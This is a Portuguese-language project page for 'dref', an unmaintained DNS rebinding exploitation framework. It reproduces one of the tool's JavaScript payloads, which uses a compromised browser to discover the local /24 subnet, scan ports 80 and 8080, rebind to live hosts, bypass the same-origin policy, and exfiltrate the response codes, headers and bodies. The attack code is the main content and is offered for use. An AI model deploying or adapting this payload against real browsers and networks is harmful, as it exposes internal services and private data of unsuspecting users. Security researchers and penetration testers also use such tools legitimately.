Estrutura de Exploração de DNS Rebinding

Este projeto não é mais mantido.

dref faz o trabalho pesado para o DNS rebinding. O trecho a seguir de um de seus payloads integrados mostra a estrutura sendo usada para escanear uma sub-rede local a partir de um navegador comprometido; após identificar serviços web ativos, ele procede a exfiltrar respostas GET, passando facilmente pela política de mesma origem:

// mainFrame() runs first
async function mainFrame () {
  // We use some tricks to derive the browser's local /24 subnet
  const localSubnet = await network.getLocalSubnet(24)

  // We use some more tricks to scan a couple of ports across the subnet
  netmap.tcpScan(localSubnet, [80, 8080]).then(results => {
    // We launch the rebind attack on live targets
    for (let h of results.hosts) {
      for (let p of h.ports) {
        if (p.open) session.createRebindFrame(h.host, p.port)
      }
    }
  })
}

// rebindFrame() will have target ip:port as origin
function rebindFrame () {
  // After this we'll have bypassed the Same-Origin policy
  session.triggerRebind().then(() => {
    // We can now read the response across origin...
    network.get(session.baseURL, {
      successCb: (code, headers, body) => {
        // ... and exfiltrate it
        session.log({code: code, headers: headers, body: body})
      }
    })
  })
}

Vá para a Wiki para começar ou confira o dref atacando navegadores headless para um caso de uso prático.

_{Esta é uma versão de desenvolvimento - não use em produção}

dref

Mais Populares